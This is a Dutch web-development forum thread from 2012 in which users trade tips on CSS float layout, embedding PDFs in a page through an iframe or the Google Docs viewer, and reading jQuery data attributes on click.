Ik heb alles werkend in Firefox, maar twee vragen: 1. als ik de pagina kleiner maak 'drijven' de float elementen heen en weer uit de parent div, gaat dat over na omzetten en hosten of moet ik dat aanpassen? 2. het scriptje werkt niet in Chrome en naar IE durf ik eigenlijk niet te kijken. Is dit de juiste manier om pagina's in de #content te laden of moet ik iets anders gebruiken? Ik hoop dat iemand wat tips heeft. ps. hier nog de indexpagina en de css http://jsfiddle.net/QDavN/ mocht dat helpen. w3 validator = passed html5 ![]() | ||||||
Catch22- | woensdag 5 december 2012 @ 13:20 | |||||
Even een flowtutorial lezen ![]() http://www.alistapart.com/articles/css-floats-101/ http://www.alistapart.com/articles/css-positioning-101/ | ||||||
Dimauro | woensdag 5 december 2012 @ 13:29 | |||||
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepast ![]() | ||||||
Catch22- | woensdag 5 december 2012 @ 13:48 | |||||
http://jsfiddle.net/3zWHJ/4/ | ||||||
Dimauro | woensdag 5 december 2012 @ 15:12 | |||||
1. is opgelost ik had de #container div geen width meer meegegeven ![]() | ||||||
boem-dikkie | vrijdag 7 december 2012 @ 14:12 | |||||
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt. PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d. | ||||||
donroyco | vrijdag 7 december 2012 @ 14:26 | |||||
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/ | ||||||
boem-dikkie | vrijdag 7 december 2012 @ 14:44 | |||||
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken. ![]() Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd. | ||||||
donroyco | vrijdag 7 december 2012 @ 14:56 | |||||
Jammer ![]() | ||||||
boem-dikkie | vrijdag 7 december 2012 @ 15:10 | |||||
Heb met de Google API ook resultaat. Die werkt mooi. | ||||||
KomtTijd... | vrijdag 7 december 2012 @ 15:29 | |||||
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen. Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft. | ||||||
wobbel | zaterdag 8 december 2012 @ 11:37 | |||||
Help ![]() Ik heb de volgende HTML code
Nu wil ik achter het data-id komen bij een klik, maar ik heb van alles geprobeerd maar het lukt niet ![]()
[ Bericht 6% gewijzigd door wobbel op 08-12-2012 11:42:48 ] | ||||||
picodealion | zaterdag 8 december 2012 @ 11:44 | |||||
Je kan $(event).dataset.id proberen, maar dat werkt geloof ik nog niet in alle browsers. Anders is $(event).attr("data-id") altijd wel een veilige optie.;. edit: Kan het nu even niet testen, maar volgens mij is event nog niet het DOM element, dus heb je waarschijnlijk $(event.currentTarget) nodig. Zal straks ff checken. [ Bericht 36% gewijzigd door picodealion op 08-12-2012 11:51:21 ] | ||||||
wobbel | zaterdag 8 december 2012 @ 11:52 | |||||
$(event).dataset.id doet helemaal niks, $(event).attr("data-id") geeft inderdaad undefined. | ||||||
picodealion | zaterdag 8 december 2012 @ 11:55 | |||||
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this). this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks. | ||||||
boem-dikkie | zaterdag 8 december 2012 @ 13:22 | |||||
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo. | ||||||
boem-dikkie | zaterdag 8 december 2012 @ 13:24 | |||||
$(this) werkt sowieso wel mooi voor dit soort dingen. | ||||||
wobbel | zaterdag 8 december 2012 @ 19:34 | |||||
Thanks ![]() |